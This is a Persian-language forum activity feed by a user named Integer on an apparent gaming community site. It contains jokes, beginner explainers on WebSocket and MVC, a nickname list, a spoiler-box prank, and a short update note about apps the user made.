    H,kd ;i fh k,;dh \gd ldni ]d fhdn f'i of o,ajd\ رمز رو بشگونی به اطلاعات جالبی میرسی
  17. Integer

    راز زنده ماندن جنتی پیدا شد!🙄

    میدونی چرا؟ چون از پروفایلت مشخصه که اول خودت کشیدی بعد اومدی اینجا یه چی گفتی ...
  18. Integer

    راز زنده ماندن جنتی پیدا شد!🙄

    میتونه یک فرضیه باشه ولی راز اصلیش اینه که انسان های معمولی و نورمال از خاک درست شدن ولی جنتی از فولاد
  19. Integer

    What is WebSocket?

    ممنونم از همه ی شما دوستان
  20. Integer

    What is WebSocket?

    به نام خداوند جان و خرد سلامممممممممممممممممممممممممممممممممممممممممممممممممممممممممممممممممم عرض میکنم به یک یک شما دوستان عزیز خیلی خوشحالم که در خدمتتونم امیدوارم هرجا که هستید پاینده باشید و موشک خورده باشه تو سر.... چیز یعنی موشک نخورده باشه تو سر و هیکلتون... توی این تاپیک قراره یکی از پرکاربردترین پروتکل عه کله قرن رو معرفیتون کنم با نام زیبایش گوش و چشم را مینوازد, این شما و اینم شما... چیز یعنی وب سوکت! یکی از پرکاربرد ترین پروتکل ها برای درست کردن اپلیکیشن هایی که نیاز به چت های بلادرنگ و ارسال اطلاعات در لحظه (Real-Time) دارند مناسبه اما خب باید بریم قبل از اینکه خود وب سوکت رو به صورت کامل بررسی کنیم, یک سری موارد رو باید یاد بگیریم 1- اچ تی تی پی (HTTP) چیست؟ اچ تی تی پی یکی از پروتکل های محبوب دنیای شبکه (اغلب پورت 80 رو اختصاص میدن بهش) هستش که برای ارتباط کلاینت-سرور هستش, اما خب کلی محدودیت داره ... اچ تی تی پی برای اپلیکیشن هایی که نیاز ندارن به صورت لحظه ای باهم دیگه ارتباط برقرار کنن مورد استفاده قرار میگیره, به عنوان مثال برای اینکه بفهمیم آرساکیا گیم از وب سوکت استفاده میکنه یا اچ تی تی پی (اس) میتونیم بیایم و با یه کار منطقی کار هارو انجام بدیم, دیکانکت کنیم اگه پیامی مبتنی بر اینکه اینترنت شما خاموش هستش یا اینکه به یک صفحه ی دیگه ای ریدایرکت شدیم و نوشتش که اتصال به اینترنت رو برقرار کنید 100 دسته متوسطس... چیز یعنی 100 وب سوکت عه, اگه هیچچچچ تغییری نکرد وب سایت یعنی داره از اچ تی تی پی استفاده میکنه, چون که اچ تی تی پی یک بار میاد و اطلاعات رو از سرور میگیره و دیسکانکت میشه با سرور و از تی سی پی, ولی وب سوکت همچین چیزی نیست حالا جلوتر بهتون میگم که چطوریه... 2- وب سوکت (WebSocket) (WS) چیست؟ وب سوکت هم مانند اچ تی تی پی یک پروتکل مبتنی بر ارتباط کلاینت-سرور هستش, اما با کلی مزیت که معایبش کمتر به چشم میاد... وب سوکت برای اپلیکیشن هایی که نیاز به چیز هایی مثل چت بلادرنگ (مثل واتساپ, اینستا و...) نیاز دارند استفاده میشه, یا اینکه برای بازی ها نمیان از HTTP - HTTPS استفاده کنند و از WS استفاده میکنن چون اگه بیاد از اچ تی تی پی مثلا استفاده کنه هر بار که توی کد ها اتصال پیدا کنیم به سرور داده هارو مثل تکون خوردن کاراکتر های دیگه دریافت میکنیم, و به همین دلیل از وب سکوت استفاده میکنیم وب سوکت هم مثل اچ تی تی پی میاد و اتصال رو برقرار میکنه اماااا تا وقتی که کانکشن توسط یکی از اون دو سر ها (کلاینت - سرور) دیس کانکت نشه همچنان اتصال پایدار میمونه و در لحظه هر اتفاقی که توی سرور میوفته ما هم میتونیم ببینیم, درست مثل پیامرسان ها (مثلا پیامرسان ماتریکس عه آرساکیا گیم) و خلاصه این شد از پروتکل وب سوکت, امیدوارم که مفید براتون واقع بشه, دوستان هرچی سوال در هر موردی براتون پیش اومد فقط یه پیام تو همین تاپیک به من بدید تاپیک بعدی هم میخوایم بریم سراغ ادامه ی آموزش NMap که داشتیم میدادیم و نصفه ماند امیدوارم هرجا که هستید پاینده باشید, خدانگهدارتون باشه!
  21. Integer

    What is MVC?

    به نام خداوند جان و خرد سلامممممممممممممممممممممممممممممممممم خدمت یک یک شما دوستان عزیز خیلی خوشحالم که در کنار شما هستم و میتونم یکی دیگه از علم های خودم رو در کنار شما به اشتراک بزارم امیدوارم که حالتون خوب (ولی حال دلتون خوب تر) باشه امروز میخوایم بریم سراغ یکی از الگو های معروف برنامه نویسی که تقریبا همه ی زبان های برنامه نویسی ساپورتش میکنن, به اسم MVC بی مقدمه میریم سراغ کار اصلیه خودمون 1- MVC چیست؟ MVC مخفف سه کلمه هستش, مادل, ویو و کنترلر (Model - View - Controller) ام وی سی میاد و میگه که برنامت رو به سه قسمته موووووساوی تقسیم کن اما این سه بخش و این سه کلمه ی افسانه ای به چه معنی ای هستند؟ اولین کلمه ای که به چشم و گوش میخوره, مادل (Model) هستش, مادل میاد و میگه که ببم جان دیگه نبینم همه چیو ترکیبی زدی دیتابیس رو اومدی توی index.php نوشتی یا مثلا وسط کد ها داری فانکشن های مربوط به کویری زدن به دیتابیس رو مینویسیاااااااا, باید بیای و دره من بزاری اون فانکشن هارو کلمه ی دوم که با اسمش گوش و چشم مارو نوازش میده, ویو (View) هستش, ویو میگه که هرچیزی که قراره دره فرانت اند باشه رو توی من بنویس کلمه ی آخر هم که عاشق مدیریت کردنه و اصلا اسمشم همینه, کنترلر (کانترولر) (Controller) هستش, کنترلر میاد و منطق برنامه ی ما و هرچیزی که میخوایم باهاش کد های بک اند رو بنویسیم رو مشخص میکنه, کانترولر هستش که تصمیم میگیره ویو و مادل رو باید دخالت بده یا نه خب دیگه مطالب ما هم دیگه ته کشید هرچی سوال (هرچیییییییییییییییییی سوال) در مورد MVC داشتید میتونید توی همین تاپیم بپرسید منم نهایت تلاش رو میکنم که به سرعت جوابتون رو بدم ممنونم که همراه من بودید, تا درودی دیگر, خدانگهدار شما باشه!
      • 1
      • دوست دارم که
  22. Integer

    بهترین نیک نیم در گیم

    Phantom Soul Integer FaLse (False) Javad Mohammad MohammadJavad Police Guard
  23. Integer

    پسران ارساکیا

    شیمیایی هم با ریختن آبعلی انجام دادن ....... سطح باو سناندرز چه سمیه ؟؟؟
  24. درود, دوستان لطفا مطلب پایین رو بخونن:

     

    مخفی کننده

    مخفی کننده ی بعدی

    مخفی کننده

    بعدی

    مخفی کننده

    بعدی

    مخفی کننده

    بعدی

    مخفی کننده

    بعدی

    مخفی کننده

    نزدیک شدی ...

    مخفی کننده

    5%

    مخفی کننده

    10%

    مخفی کننده

    خیلی نزدیکی

    25%

    مخفی کننده

    40%

    مخفی کننده

    70%

    مخفی کننده

    98%

    مخفی کننده

    اینترنتت ضعیفه

    مخفی کننده

    Establishing secure connection... Please wait...

    مخفی کننده

    Connection not secured, try again!

    مخفی کننده

    Connection secured, ready you for check the last one!

    مخفی کننده

    Try again later!

    مخفی کننده

    404 Not found

    مخفی کننده

    ایستگاه شدید

    حالا دونه به دونه ببندشون

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

     

    1. Darioosh

      Darioosh

      @Integer: من بیکار نیستم که

      همچنان @Integer:

    2. Integer

      Integer

      @Darioosh من بیکار نیستم که بشینم دونه دونه مخفی کننده هارو باز کنم

      همچنان @Darioosh

  25. Integer

    AGR Application

    خیلی ممنونم بابته نظر دلگرم کنندتون, واقعیتش این حالا یکمی قدیمی هستش هک بیز و آپدیتی فعلا نمیدم واسش ولی یکمی که بگذره آپدیت اونم میدم و مواردی که گفتید رو حتما اظافه میکنم آپدیت هک بانک: همه ی دیزایناش تغییر کردن همهههه چیزاش لینک دانلود (+) به یاری خدا دفعه ی بعد آپدیتی مثل همین آپدیت HackBankAG میدم برای HackBizAG و قشنگش میکنم و مواردی رو که دوستان گفتند اظافه میکنم
×
×
  • اضافه کردن...